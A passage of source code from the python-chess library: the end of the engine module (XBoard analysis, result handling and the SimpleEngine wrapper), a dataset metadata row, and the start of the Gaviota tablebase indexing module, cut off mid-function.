self.stopped = True if self.result.cancelled(): self.engine.send_line("?") if ponder: self.engine.send_line("easy") n = (id(self) + 1) & 0xffff self.pong_after_ponder = f"pong {n}" self.engine._ping(n) @override def engine_terminated(self, exc: Exception) -> None: # Allow terminating engine while pondering. if not self.result.done(): super().engine_terminated(exc) return await self.communicate(XBoardPlayCommand) async def analysis(self, board: chess.Board, limit: Optional[Limit] = None, *, multipv: Optional[int] = None, game: object = None, info: Info = INFO_ALL, root_moves: Optional[Iterable[chess.Move]] = None, options: ConfigMapping = {}) -> AnalysisResult: if multipv is not None: raise EngineError("xboard engine does not support multipv") if limit is not None and (limit.white_clock is not None or limit.black_clock is not None): raise EngineError("xboard analysis does not support clock limits") class XBoardAnalysisCommand(BaseCommand[AnalysisResult]): def __init__(self, engine: XBoardProtocol): super().__init__(engine) self.engine = engine @override def start(self) -> None: self.stopped = False self.best_move: Optional[chess.Move] = None self.analysis = AnalysisResult(stop=lambda: self.cancel()) self.final_pong: Optional[str] = None self.engine._new(board, game, options) if root_moves is not None: if not self.engine.features.get("exclude", 0): raise EngineError("xboard engine does not support root_moves (feature exclude=0)") self.engine.send_line("exclude all") for move in root_moves: self.engine.send_line(f"include {self.engine.board.xboard(move)}") self.engine.send_line("post") self.engine.send_line("analyze") self.result.set_result(self.analysis) if limit is not None and limit.time is not None: self.time_limit_handle: Optional[asyncio.Handle] = self.engine.loop.call_later(limit.time, lambda: self.cancel()) else: self.time_limit_handle = None @override def line_received(self, line: str) -> None: token, remaining = _next_token(line) if token.startswith("#"): pass elif len(line.split()) >= 4 and line.lstrip()[0].isdigit(): self._post(line) elif f"{token} {remaining.strip()}" == self.final_pong: self.end() elif XBOARD_ERROR_REGEX.match(line): self.engine.first_game = True # Board state might no longer be in sync raise EngineError(line) else: LOGGER.warning("%s: Unexpected engine output: %r", self.engine, line) def _post(self, line: str) -> None: post_info = _parse_xboard_post(line, self.engine.board, info) self.analysis.post(post_info) pv = post_info.get("pv") if pv: self.best_move = pv[0] if limit is not None: if limit.time is not None and post_info.get("time", 0) >= limit.time: self.cancel() elif limit.nodes is not None and post_info.get("nodes", 0) >= limit.nodes: self.cancel() elif limit.depth is not None and post_info.get("depth", 0) >= limit.depth: self.cancel() elif limit.mate is not None and "score" in post_info: if post_info["score"].relative >= Mate(limit.mate): self.cancel() def end(self) -> None: if self.time_limit_handle: self.time_limit_handle.cancel() self.set_finished() self.analysis.set_finished(BestMove(self.best_move, None)) @override def cancel(self) -> None: if self.stopped: return self.stopped = True self.engine.send_line(".") self.engine.send_line("exit") n = id(self) & 0xffff self.final_pong = f"pong {n}" self.engine._ping(n) @override def engine_terminated(self, exc: Exception) -> None: LOGGER.debug("%s: Closing analysis because engine has been terminated (error: %s)", self.engine, exc) if self.time_limit_handle: self.time_limit_handle.cancel() self.analysis.set_exception(exc) return await self.communicate(XBoardAnalysisCommand) def _setoption(self, name: str, value: ConfigValue) -> None: if value is not None and value == self.config.get(name): return try: option = self.options[name] except KeyError: raise EngineError(f"unsupported xboard option or command: {name}") self.config[name] = value = option.parse(value) if name in ["random", "computer", "name", "engine_rating", "opponent_rating"]: # Applied in _new. pass elif name in ["memory", "cores"] or name.startswith("egtpath "): self.send_line(f"{name} {value}") elif value is None: self.send_line(f"option {name}") elif value is True: self.send_line(f"option {name}=1") elif value is False: self.send_line(f"option {name}=0") else: self.send_line(f"option {name}={value}") def _configure(self, options: ConfigMapping) -> None: for name, value in _chain_config(options, self.target_config): if name.lower() in MANAGED_OPTIONS: raise EngineError(f"cannot set {name} which is automatically managed") self._setoption(name, value) async def configure(self, options: ConfigMapping) -> None: class XBoardConfigureCommand(BaseCommand[None]): def __init__(self, engine: XBoardProtocol): super().__init__(engine) self.engine = engine @override def start(self) -> None: self.engine._configure(options) self.engine.target_config.update({name: value for name, value in options.items() if value is not None}) self.result.set_result(None) self.set_finished() return await self.communicate(XBoardConfigureCommand) def _opponent_configuration(self, *, opponent: Optional[Opponent] = None, engine_rating: Optional[int] = None) -> ConfigMapping: if opponent is None: return {} opponent_info: Dict[str, Union[int, bool, str]] = {"engine_rating": engine_rating or self.target_config.get("engine_rating") or 0, "opponent_rating": opponent.rating or 0, "computer": opponent.is_engine or False} if opponent.name and self.features.get("name", True): opponent_info["name"] = f"{opponent.title or ''} {opponent.name}".strip() return opponent_info async def send_opponent_information(self, *, opponent: Optional[Opponent] = None, engine_rating: Optional[int] = None) -> None: return await self.configure(self._opponent_configuration(opponent=opponent, engine_rating=engine_rating)) async def send_game_result(self, board: chess.Board, winner: Optional[Color] = None, game_ending: Optional[str] = None, game_complete: bool = True) -> None: class XBoardGameResultCommand(BaseCommand[None]): def __init__(self, engine: XBoardProtocol): super().__init__(engine) self.engine = engine @override def start(self) -> None: if game_ending and any(c in game_ending for c in "{}\n\r"): raise EngineError(f"invalid line break or curly braces in game ending message: {game_ending!r}") self.engine._new(board, self.engine.game, {}) # Send final moves to engine. outcome = board.outcome(claim_draw=True) if not game_complete: result = "*" ending = game_ending or "" elif winner is not None or game_ending: result = "1-0" if winner == chess.WHITE else "0-1" if winner == chess.BLACK else "1/2-1/2" ending = game_ending or "" elif outcome is not None and outcome.winner is not None: result = outcome.result() winning_color = "White" if outcome.winner == chess.WHITE else "Black" is_checkmate = outcome.termination == chess.Termination.CHECKMATE ending = f"{winning_color} {'mates' if is_checkmate else 'variant win'}" elif outcome is not None: result = outcome.result() ending = outcome.termination.name.capitalize().replace("_", " ") else: result = "*" ending = "" ending_text = f"{{{ending}}}" if ending else "" self.engine.send_line(f"result {result} {ending_text}".strip()) self.result.set_result(None) self.set_finished() return await self.communicate(XBoardGameResultCommand) async def quit(self) -> None: self.send_line("quit") await asyncio.shield(self.returncode) def _parse_xboard_option(feature: str) -> Option: params = feature.split() name = params[0] type = params[1][1:] default: Optional[ConfigValue] = None min = None max = None var = None if type == "combo": var = [] choices = params[2:] for choice in choices: if choice == "///": continue elif choice[0] == "*": default = choice[1:] var.append(choice[1:]) else: var.append(choice) elif type == "check": default = int(params[2]) elif type in ["string", "file", "path"]: if len(params) > 2: default = params[2] else: default = "" elif type == "spin": default = int(params[2]) min = int(params[3]) max = int(params[4]) return Option(name, type, default, min, max, var) def _parse_xboard_post(line: str, root_board: chess.Board, selector: Info = INFO_ALL) -> InfoDict: # Format: depth score time nodes [seldepth [nps [tbhits]]] pv info: InfoDict = {} # Split leading integer tokens from pv. pv_tokens = line.split() integer_tokens = [] while pv_tokens: token = pv_tokens.pop(0) try: integer_tokens.append(int(token)) except ValueError: pv_tokens.insert(0, token) break if len(integer_tokens) < 4: return info # Required integer tokens. info["depth"] = integer_tokens.pop(0) cp = integer_tokens.pop(0) info["time"] = int(integer_tokens.pop(0)) / 100 info["nodes"] = int(integer_tokens.pop(0)) # Score. if cp <= -100000: score: Score = Mate(cp + 100000) elif cp == 100000: score = MateGiven elif cp >= 100000: score = Mate(cp - 100000) else: score = Cp(cp) info["score"] = PovScore(score, root_board.turn) # Optional integer tokens. if integer_tokens: info["seldepth"] = integer_tokens.pop(0) if integer_tokens: info["nps"] = integer_tokens.pop(0) while len(integer_tokens) > 1: # Reserved for future extensions. integer_tokens.pop(0) if integer_tokens: info["tbhits"] = integer_tokens.pop(0) # Principal variation. pv = [] board = root_board.copy(stack=False) for token in pv_tokens: if token.rstrip(".").isdigit(): continue try: pv.append(board.push_xboard(token)) except ValueError: break if not (selector & INFO_PV): break info["pv"] = pv return info def _next_token(line: str) -> tuple[str, str]: """ Get the next token in a whitespace-delimited line of text. The result is returned as a 2-part tuple of strings. If the input line is empty or all whitespace, then the result is two empty strings. If the input line is not empty and not completely whitespace, then the first element of the returned tuple is a single word with leading and trailing whitespace removed. The second element is the unchanged rest of the line. """ parts = line.split(maxsplit=1) return parts[0] if parts else "", parts[1] if len(parts) == 2 else "" class BestMove: """Returned by :func:`chess.engine.AnalysisResult.wait()`.""" move: Optional[chess.Move] """The best move according to the engine, or ``None``.""" ponder: Optional[chess.Move] """The response that the engine expects after *move*, or ``None``.""" def __init__(self, move: Optional[chess.Move], ponder: Optional[chess.Move]): self.move = move self.ponder = ponder def __repr__(self) -> str: return "<{} at {:#x} (move={}, ponder={}>".format( type(self).__name__, id(self), self.move, self.ponder) class AnalysisResult: """ Handle to ongoing engine analysis. Returned by :func:`chess.engine.Protocol.analysis()`. Can be used to asynchronously iterate over information sent by the engine. Automatically stops the analysis when used as a context manager. """ multipv: List[InfoDict] """ A list of dictionaries with aggregated information sent by the engine. One item for each root move. """ def __init__(self, stop: Optional[Callable[[], None]] = None): self._stop = stop self._queue: asyncio.Queue[InfoDict] = asyncio.Queue() self._posted_kork = False self._seen_kork = False self._finished: asyncio.Future[BestMove] = asyncio.Future() self.multipv = [{}] def post(self, info: InfoDict) -> None: # Empty dictionary reserved for kork. if not info: return multipv = info.get("multipv", 1) while len(self.multipv) < multipv: self.multipv.append({}) self.multipv[multipv - 1].update(info) self._queue.put_nowait(info) def _kork(self) -> None: if not self._posted_kork: self._posted_kork = True self._queue.put_nowait({}) def set_finished(self, best: BestMove) -> None: if not self._finished.done(): self._finished.set_result(best) self._kork() def set_exception(self, exc: Exception) -> None: self._finished.set_exception(exc) self._kork() @property def info(self) -> InfoDict: """ A dictionary of aggregated information sent by the engine. This is actually an alias for ``multipv[0]``. """ return self.multipv[0] def stop(self) -> None: """Stops the analysis as soon as possible.""" if self._stop and not self._posted_kork: self._stop() self._stop = None async def wait(self) -> BestMove: """Waits until the analysis is finished.""" return await self._finished async def get(self) -> InfoDict: """ Waits for the next dictionary of information from the engine and returns it. It might be more convenient to use ``async for info in analysis: ...``. :raises: :exc:`chess.engine.AnalysisComplete` if the analysis is complete (or has been stopped) and all information has been consumed. Use :func:`~chess.engine.AnalysisResult.next()` if you prefer to get ``None`` instead of an exception. """ if self._seen_kork: raise AnalysisComplete() info = await self._queue.get() if not info: # Empty dictionary marks end. self._seen_kork = True await self._finished raise AnalysisComplete() return info def would_block(self) -> bool: """ Checks if calling :func:`~chess.engine.AnalysisResult.get()`, calling :func:`~chess.engine.AnalysisResult.next()`, or advancing the iterator one step would require waiting for the engine. These functions would return immediately if information is pending (queue is not :func:`empty <chess.engine.AnalysisResult.empty()>`) or if the search is finished. """ return not self._seen_kork and self._queue.empty() def empty(self) -> bool: """ Checks if all current information has been consumed. If the queue is empty, but the analysis is still ongoing, then further information can become available in the future. """ return self._seen_kork or self._queue.qsize() <= self._posted_kork async def next(self) -> Optional[InfoDict]: try: return await self.get() except AnalysisComplete: return None def __aiter__(self) -> AnalysisResult: return self async def __anext__(self) -> InfoDict: try: return await self.get() except AnalysisComplete: raise StopAsyncIteration def __enter__(self) -> AnalysisResult: return self def __exit__(self, exc_type: Optional[Type[BaseException]], exc_value: Optional[BaseException], traceback: Optional[TracebackType]) -> None: self.stop() async def popen_uci(command: Union[str, List[str]], *, setpgrp: bool = False, **popen_args: Any) -> Tuple[asyncio.SubprocessTransport, UciProtocol]: """ Spawns and initializes a UCI engine. :param command: Path of the engine executable, or a list including the path and arguments. :param setpgrp: Open the engine process in a new process group. This will stop signals (such as keyboard interrupts) from propagating from the parent process. Defaults to ``False``. :param popen_args: Additional arguments for `popen <https://docs.python.org/3/library/subprocess.html#popen-constructor>`_. Do not set ``stdin``, ``stdout``, ``bufsize`` or ``universal_newlines``. Returns a subprocess transport and engine protocol pair. """ transport, protocol = await UciProtocol.popen(command, setpgrp=setpgrp, **popen_args) try: await protocol.initialize() except: transport.close() raise return transport, protocol async def popen_xboard(command: Union[str, List[str]], *, setpgrp: bool = False, **popen_args: Any) -> Tuple[asyncio.SubprocessTransport, XBoardProtocol]: """ Spawns and initializes an XBoard engine. :param command: Path of the engine executable, or a list including the path and arguments. :param setpgrp: Open the engine process in a new process group. This will stop signals (such as keyboard interrupts) from propagating from the parent process. Defaults to ``False``. :param popen_args: Additional arguments for `popen <https://docs.python.org/3/library/subprocess.html#popen-constructor>`_. Do not set ``stdin``, ``stdout``, ``bufsize`` or ``universal_newlines``. Returns a subprocess transport and engine protocol pair. """ transport, protocol = await XBoardProtocol.popen(command, setpgrp=setpgrp, **popen_args) try: await protocol.initialize() except: transport.close() raise return transport, protocol async def _async(sync: Callable[[], T]) -> T: return sync() class SimpleEngine: """ Synchronous wrapper around a transport and engine protocol pair. Provides the same methods and attributes as :class:`chess.engine.Protocol` with blocking functions instead of coroutines. You may not concurrently modify objects passed to any of the methods. Other than that, :class:`~chess.engine.SimpleEngine` is thread-safe. When sending a new command to the engine, any previous running command will be cancelled as soon as possible. Methods will raise :class:`asyncio.TimeoutError` if an operation takes *timeout* seconds longer than expected (unless *timeout* is ``None``). Automatically closes the transport when used as a context manager. """ def __init__(self, transport: asyncio.SubprocessTransport, protocol: Protocol, *, timeout: Optional[float] = 10.0) -> None: self.transport = transport self.protocol = protocol self.timeout = timeout self._shutdown_lock = threading.Lock() self._shutdown = False self.shutdown_event = asyncio.Event() self.returncode: concurrent.futures.Future[int] = concurrent.futures.Future() def _timeout_for(self, limit: Optional[Limit]) -> Optional[float]: if self.timeout is None or limit is None or limit.time is None: return None return self.timeout + limit.time @contextlib.contextmanager def _not_shut_down(self) -> Generator[None, None, None]: with self._shutdown_lock: if self._shutdown: raise EngineTerminatedError("engine event loop dead") yield @property def options(self) -> MutableMapping[str, Option]: with self._not_shut_down(): coro = _async(lambda: copy.copy(self.protocol.options)) future = asyncio.run_coroutine_threadsafe(coro, self.protocol.loop) return future.result() @property def id(self) -> Mapping[str, str]: with self._not_shut_down(): coro = _async(lambda: self.protocol.id.copy()) future = asyncio.run_coroutine_threadsafe(coro, self.protocol.loop) return future.result() def communicate(self, command_factory: Callable[[Protocol], BaseCommand[T]]) -> T: with self._not_shut_down(): coro = self.protocol.communicate(command_factory) future = asyncio.run_coroutine_threadsafe(coro, self.protocol.loop) return future.result() def configure(self, options: ConfigMapping) -> None: with self._not_shut_down(): coro = asyncio.wait_for(self.protocol.configure(options), self.timeout) future = asyncio.run_coroutine_threadsafe(coro, self.protocol.loop) return future.result() def send_opponent_information(self, *, opponent: Optional[Opponent] = None, engine_rating: Optional[int] = None) -> None: with self._not_shut_down(): coro = asyncio.wait_for( self.protocol.send_opponent_information(opponent=opponent, engine_rating=engine_rating), self.timeout) future = asyncio.run_coroutine_threadsafe(coro, self.protocol.loop) return future.result() def ping(self) -> None: with self._not_shut_down(): coro = asyncio.wait_for(self.protocol.ping(), self.timeout) future = asyncio.run_coroutine_threadsafe(coro, self.protocol.loop) return future.result() def play(self, board: chess.Board, limit: Limit, *, game: object = None, info: Info = INFO_NONE, ponder: bool = False, draw_offered: bool = False, root_moves: Optional[Iterable[chess.Move]] = None, options: ConfigMapping = {}, opponent: Optional[Opponent] = None) -> PlayResult: with self._not_shut_down(): coro = asyncio.wait_for( self.protocol.play(board, limit, game=game, info=info, ponder=ponder, draw_offered=draw_offered, root_moves=root_moves, options=options, opponent=opponent), self._timeout_for(limit)) future = asyncio.run_coroutine_threadsafe(coro, self.protocol.loop) return future.result() @typing.overload def analyse(self, board: chess.Board, limit: Limit, *, game: object = None, info: Info = INFO_ALL, root_moves: Optional[Iterable[chess.Move]] = None, options: ConfigMapping = {}) -> InfoDict: ... @typing.overload def analyse(self, board: chess.Board, limit: Limit, *, multipv: int, game: object = None, info: Info = INFO_ALL, root_moves: Optional[Iterable[chess.Move]] = None, options: ConfigMapping = {}) -> List[InfoDict]: ... @typing.overload def analyse(self, board: chess.Board, limit: Limit, *, multipv: Optional[int] = None, game: object = None, info: Info = INFO_ALL, root_moves: Optional[Iterable[chess.Move]] = None, options: ConfigMapping = {}) -> Union[InfoDict, List[InfoDict]]: ... def analyse(self, board: chess.Board, limit: Limit, *, multipv: Optional[int] = None, game: object = None, info: Info = INFO_ALL, root_moves: Optional[Iterable[chess.Move]] = None, options: ConfigMapping = {}) -> Union[InfoDict, List[InfoDict]]: with self._not_shut_down(): coro = asyncio.wait_for( self.protocol.analyse(board, limit, multipv=multipv, game=game, info=info, root_moves=root_moves, options=options), self._timeout_for(limit)) future = asyncio.run_coroutine_threadsafe(coro, self.protocol.loop) return future.result() def analysis(self, board: chess.Board, limit: Optional[Limit] = None, *, multipv: Optional[int] = None, game: object = None, info: Info = INFO_ALL, root_moves: Optional[Iterable[chess.Move]] = None, options: ConfigMapping = {}) -> SimpleAnalysisResult: with self._not_shut_down(): coro = asyncio.wait_for( self.protocol.analysis(board, limit, multipv=multipv, game=game, info=info, root_moves=root_moves, options=options), self.timeout) # Timeout until analysis is *started* future = asyncio.run_coroutine_threadsafe(coro, self.protocol.loop) return SimpleAnalysisResult(self, future.result()) def send_game_result(self, board: chess.Board, winner: Optional[Color] = None, game_ending: Optional[str] = None, game_complete: bool = True) -> None: with self._not_shut_down(): coro = asyncio.wait_for(self.protocol.send_game_result(board, winner, game_ending, game_complete), self.timeout) future = asyncio.run_coroutine_threadsafe(coro, self.protocol.loop) return future.result() def quit(self) -> None: with self._not_shut_down(): coro = asyncio.wait_for(self.protocol.quit(), self.timeout) future = asyncio.run_coroutine_threadsafe(coro, self.protocol.loop) return future.result() def close(self) -> None: """ Closes the transport and the background event loop as soon as possible. """ def _shutdown() -> None: self.transport.close() self.shutdown_event.set() with self._shutdown_lock: if not self._shutdown: self._shutdown = True self.protocol.loop.call_soon_threadsafe(_shutdown) @classmethod def popen(cls, Protocol: Type[Protocol], command: Union[str, List[str]], *, timeout: Optional[float] = 10.0, debug: Optional[bool] = None, setpgrp: bool = False, **popen_args: Any) -> SimpleEngine: async def background(future: concurrent.futures.Future[SimpleEngine]) -> None: transport, protocol = await Protocol.popen(command, setpgrp=setpgrp, **popen_args) threading.current_thread().name = f"{cls.__name__} (pid={transport.get_pid()})" simple_engine = cls(transport, protocol, timeout=timeout) try: await asyncio.wait_for(protocol.initialize(), timeout) future.set_result(simple_engine) returncode = await protocol.returncode simple_engine.returncode.set_result(returncode) finally: simple_engine.close() await simple_engine.shutdown_event.wait() return run_in_background(background, name=f"{cls.__name__} (command={command!r})", debug=debug) @classmethod def popen_uci(cls, command: Union[str, List[str]], *, timeout: Optional[float] = 10.0, debug: Optional[bool] = None, setpgrp: bool = False, **popen_args: Any) -> SimpleEngine: """ Spawns and initializes a UCI engine. Returns a :class:`~chess.engine.SimpleEngine` instance. """ return cls.popen(UciProtocol, command, timeout=timeout, debug=debug, setpgrp=setpgrp, **popen_args) @classmethod def popen_xboard(cls, command: Union[str, List[str]], *, timeout: Optional[float] = 10.0, debug: Optional[bool] = None, setpgrp: bool = False, **popen_args: Any) -> SimpleEngine: """ Spawns and initializes an XBoard engine. Returns a :class:`~chess.engine.SimpleEngine` instance. """ return cls.popen(XBoardProtocol, command, timeout=timeout, debug=debug, setpgrp=setpgrp, **popen_args) def __enter__(self) -> SimpleEngine: return self def __exit__(self, exc_type: Optional[Type[BaseException]], exc_value: Optional[BaseException], traceback: Optional[TracebackType]) -> None: self.close() def __repr__(self) -> str: pid = self.transport.get_pid() # This happens to be thread-safe return f"<{type(self).__name__} (pid={pid})>" class SimpleAnalysisResult: """ Synchronous wrapper around :class:`~chess.engine.AnalysisResult`. Returned by :func:`chess.engine.SimpleEngine.analysis()`. """ def __init__(self, simple_engine: SimpleEngine, inner: AnalysisResult) -> None: self.simple_engine = simple_engine self.inner = inner @property def info(self) -> InfoDict: with self.simple_engine._not_shut_down(): coro = _async(lambda: self.inner.info.copy()) future = asyncio.run_coroutine_threadsafe(coro, self.simple_engine.protocol.loop) return future.result() @property def multipv(self) -> List[InfoDict]: with self.simple_engine._not_shut_down(): coro = _async(lambda: [info.copy() for info in self.inner.multipv]) future = asyncio.run_coroutine_threadsafe(coro, self.simple_engine.protocol.loop) return future.result() def stop(self) -> None: with self.simple_engine._not_shut_down(): self.simple_engine.protocol.loop.call_soon_threadsafe(self.inner.stop) def wait(self) -> BestMove: with self.simple_engine._not_shut_down(): future = asyncio.run_coroutine_threadsafe(self.inner.wait(), self.simple_engine.protocol.loop) return future.result() def would_block(self) -> bool: with self.simple_engine._not_shut_down(): future = asyncio.run_coroutine_threadsafe(_async(self.inner.would_block), self.simple_engine.protocol.loop) return future.result() def empty(self) -> bool: with self.simple_engine._not_shut_down(): future = asyncio.run_coroutine_threadsafe(_async(self.inner.empty), self.simple_engine.protocol.loop) return future.result() def get(self) -> InfoDict: with self.simple_engine._not_shut_down(): future = asyncio.run_coroutine_threadsafe(self.inner.get(), self.simple_engine.protocol.loop) return future.result() def next(self) -> Optional[InfoDict]: with self.simple_engine._not_shut_down(): future = asyncio.run_coroutine_threadsafe(self.inner.next(), self.simple_engine.protocol.loop) return future.result() def __iter__(self) -> Iterator[InfoDict]: with self.simple_engine._not_shut_down(): self.simple_engine.protocol.loop.call_soon_threadsafe(self.inner.__aiter__) return self def __next__(self) -> InfoDict: try: with self.simple_engine._not_shut_down(): future = asyncio.run_coroutine_threadsafe(self.inner.__anext__(), self.simple_engine.protocol.loop) return future.result() except StopAsyncIteration: raise StopIteration def __enter__(self) -> SimpleAnalysisResult: return self def __exit__(self, exc_type: Optional[Type[BaseException]], exc_value: Optional[BaseException], traceback: Optional[TracebackType]) -> None: self.stop()
126,466
Python
.py
2,522
38.919112
288
0.585299
niklasf/python-chess
2,384
520
22
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,422
gaviota.py
niklasf_python-chess/chess/gaviota.py
from __future__ import annotations import ctypes import ctypes.util import dataclasses import fnmatch import logging import lzma import os import os.path import struct import typing import chess from types import TracebackType from typing import BinaryIO, Callable, Dict, List, Optional, Tuple, Type, Union LOGGER = logging.getLogger(__name__) NOSQUARE = 64 NOINDEX = -1 MAX_KKINDEX = 462 MAX_PPINDEX = 576 MAX_PpINDEX = 24 * 48 MAX_AAINDEX = (63 - 62) + (62 // 2 * (127 - 62)) - 1 + 1 MAX_AAAINDEX = 64 * 21 * 31 MAX_PPP48_INDEX = 8648 MAX_PP48_INDEX = 1128 MAX_KXK = MAX_KKINDEX * 64 MAX_kabk = MAX_KKINDEX * 64 * 64 MAX_kakb = MAX_KKINDEX * 64 * 64 MAX_kpk = 24 * 64 * 64 MAX_kakp = 24 * 64 * 64 * 64 MAX_kapk = 24 * 64 * 64 * 64 MAX_kppk = MAX_PPINDEX * 64 * 64 MAX_kpkp = MAX_PpINDEX * 64 * 64 MAX_kaak = MAX_KKINDEX * MAX_AAINDEX MAX_kabkc = MAX_KKINDEX * 64 * 64 * 64 MAX_kabck = MAX_KKINDEX * 64 * 64 * 64 MAX_kaakb = MAX_KKINDEX * MAX_AAINDEX * 64 MAX_kaabk = MAX_KKINDEX * MAX_AAINDEX * 64 MAX_kabbk = MAX_KKINDEX * MAX_AAINDEX * 64 MAX_kaaak = MAX_KKINDEX * MAX_AAAINDEX MAX_kapkb = 24 * 64 * 64 * 64 * 64 MAX_kabkp = 24 * 64 * 64 * 64 * 64 MAX_kabpk = 24 * 64 * 64 * 64 * 64 MAX_kppka = MAX_kppk * 64 MAX_kappk = MAX_kppk * 64 MAX_kapkp = MAX_kpkp * 64 MAX_kaapk = 24 * MAX_AAINDEX * 64 * 64 MAX_kaakp = 24 * MAX_AAINDEX * 64 * 64 MAX_kppkp = 24 * MAX_PP48_INDEX * 64 * 64 MAX_kpppk = MAX_PPP48_INDEX * 64 * 64 PLYSHIFT = 3 INFOMASK = 7 WE_FLAG = 1 NS_FLAG = 2 NW_SE_FLAG = 4 ITOSQ = [ chess.H7, chess.G7, chess.F7, chess.E7, chess.H6, chess.G6, chess.F6, chess.E6, chess.H5, chess.G5, chess.F5, chess.E5, chess.H4, chess.G4, chess.F4, chess.E4, chess.H3, chess.G3, chess.F3, chess.E3, chess.H2, chess.G2, chess.F2, chess.E2, chess.D7, chess.C7, chess.B7, chess.A7, chess.D6, chess.C6, chess.B6, chess.A6, chess.D5, chess.C5, chess.B5, chess.A5, chess.D4, chess.C4, chess.B4, chess.A4, chess.D3, chess.C3, chess.B3, chess.A3, chess.D2, chess.C2, chess.B2, chess.A2, ] ENTRIES_PER_BLOCK = 16 * 1024 EGTB_MAXBLOCKSIZE = 65536 def map24_b(s: int) -> int: s -= 8 return ((s & 3) + s) >> 1 def map88(x: int) -> int: return x + (x & 56) def in_queenside(x: int) -> int: return (x & (1 << 2)) == 0 def flip_we(x: int) -> int: return x ^ 7 def flip_ns(x: int) -> int: return x ^ 56 def flip_nw_se(x: int) -> int: return ((x & 7) << 3) | (x >> 3) def idx_is_empty(x: int) -> int: return x == -1 def flip_type(x: chess.Square, y: chess.Square) -> int: ret = 0 if chess.square_file(x) > 3: x = flip_we(x) y = flip_we(y) ret |= 1 if chess.square_rank(x) > 3: x = flip_ns(x) y = flip_ns(y) ret |= 2 rowx = chess.square_rank(x) colx = chess.square_file(x) if rowx > colx: x = flip_nw_se(x) y = flip_nw_se(y) ret |= 4 rowy = chess.square_rank(y) coly = chess.square_file(y) if rowx == colx and rowy > coly: x = flip_nw_se(x) y = flip_nw_se(y) ret |= 4 return ret def init_flipt() -> List[List[int]]: return [[flip_type(j, i) for i in range(64)] for j in range(64)] FLIPT = init_flipt() def init_pp48_idx() -> Tuple[List[List[int]], List[int], List[int]]: MAX_I = MAX_J = 48 idx = 0 pp48_idx = [[-1] * MAX_J for _ in range(MAX_I)] pp48_sq_x = [NOSQUARE] * MAX_PP48_INDEX pp48_sq_y = [NOSQUARE] * MAX_PP48_INDEX idx = 0 for a in range(chess.H7, chess.A2 - 1, -1): for b in range(a - 1, chess.A2 - 1, -1): i = flip_we(flip_ns(a)) - 8 j = flip_we(flip_ns(b)) - 8 if idx_is_empty(pp48_idx[i][j]): pp48_idx[i][j] = idx pp48_idx[j][i] = idx pp48_sq_x[idx] = i pp48_sq_y[idx] = j idx += 1 return pp48_idx, pp48_sq_x, pp48_sq_y PP48_IDX, PP48_SQ_X, PP48_SQ_Y = init_pp48_idx() def init_ppp48_idx() -> Tuple[List[List[List[int]]], List[int], List[int], List[int]]: MAX_I = MAX_J = MAX_K = 48 ppp48_idx = [[[-1] * MAX_I for _ in range(MAX_J)] for _ in range(MAX_K)] ppp48_sq_x = [NOSQUARE] * MAX_PPP48_INDEX ppp48_sq_y = [NOSQUARE] * MAX_PPP48_INDEX ppp48_sq_z = [NOSQUARE] * MAX_PPP48_INDEX idx = 0 for x in range(48): for y in range(x + 1, 48): for z in range(y + 1, 48): a = ITOSQ[x] b = ITOSQ[y] c = ITOSQ[z] if not in_queenside(b) or not in_queenside(c): continue i = a - 8 j = b - 8 k = c - 8 if idx_is_empty(ppp48_idx[i][j][k]): ppp48_idx[i][j][k] = idx ppp48_idx[i][k][j] = idx ppp48_idx[j][i][k] = idx ppp48_idx[j][k][i] = idx ppp48_idx[k][i][j] = idx ppp48_idx[k][j][i] = idx ppp48_sq_x[idx] = i ppp48_sq_y[idx] = j ppp48_sq_z[idx] = k idx += 1 return ppp48_idx, ppp48_sq_x, ppp48_sq_y, ppp48_sq_z PPP48_IDX, PPP48_SQ_X, PPP48_SQ_Y, PPP48_SQ_Z = init_ppp48_idx() def init_aaidx() -> Tuple[List[int], List[List[int]]]: aaidx = [[-1] * 64 for _ in range(64)] aabase = [0] * MAX_AAINDEX idx = 0 for x in range(64): for y in range(x + 1, 64): if idx_is_empty(aaidx[x][y]): # Still empty. aaidx[x][y] = idx aaidx[y][x] = idx aabase[idx] = x idx += 1 return aabase, aaidx AABASE, AAIDX = init_aaidx() def init_aaa() -> Tuple[List[int], List[List[int]]]: # Get aaa_base. comb = [a * (a - 1) // 2 for a in range(64)] accum = 0 aaa_base = [0] * 64 for a in range(64 - 1): accum += comb[a] aaa_base[a + 1] = accum # Get aaa_xyz. aaa_xyz = [[-1] * 3 for _ in range(MAX_AAAINDEX)] idx = 0 for z in range(64): for y in range(z): for x in range(y): aaa_xyz[idx][0] = x aaa_xyz[idx][1] = y aaa_xyz[idx][2] = z idx += 1 return aaa_base, aaa_xyz AAA_BASE, AAA_XYZ = init_aaa() def pp_putanchorfirst(a: int, b: int) -> Tuple[int, int]: row_b = b & 56 row_a = a & 56 # Default. anchor = a loosen = b if row_b > row_a: anchor = b loosen = a elif row_b == row_a: x = a col = x & 7 inv = col ^ 7 x = (1 << col) | (1 << inv) x &= (x - 1) hi_a = x x = b col = x & 7 inv = col ^ 7 x = (1 << col) | (1 << inv) x &= (x - 1) hi_b = x if hi_b > hi_a: anchor = b loosen = a if hi_b < hi_a: anchor = a loosen = b if hi_b == hi_a: if a < b: anchor = a loosen = b else: anchor = b loosen = a return anchor, loosen def wsq_to_pidx24(pawn: int) -> int: sq = pawn sq = flip_ns(sq) sq -= 8 # Down one row idx24 = (sq + (sq & 3)) >> 1 return idx24 def wsq_to_pidx48(pawn: int) -> int: sq = pawn sq = flip_ns(sq) sq -= 8 # Down one row idx48 = sq return idx48 def init_ppidx() -> Tuple[List[List[int]], List[int], List[int]]: ppidx = [[-1] * 48 for _ in range(24)] pp_hi24 = [-1] * MAX_PPINDEX pp_lo48 = [-1] * MAX_PPINDEX idx = 0 for a in range(chess.H7, chess.A2 - 1, -1): if in_queenside(a): continue for b in range(a - 1, chess.A2 - 1, -1): anchor = 0 loosen = 0 anchor, loosen = pp_putanchorfirst(a, b) if (anchor & 7) > 3: # Square on the kingside. anchor = flip_we(anchor) loosen = flip_we(loosen) i = wsq_to_pidx24(anchor) j = wsq_to_pidx48(loosen) if idx_is_empty(ppidx[i][j]): ppidx[i][j] = idx pp_hi24[idx] = i pp_lo48[idx] = j idx += 1 return ppidx, pp_hi24, pp_lo48 PPIDX, PP_HI24, PP_LO48 = init_ppidx() def norm_kkindex(x: chess.Square, y: chess.Square) -> Tuple[int, int]: if chess.square_file(x) > 3: x = flip_we(x) y = flip_we(y) if chess.square_rank(x) > 3: x = flip_ns(x) y = 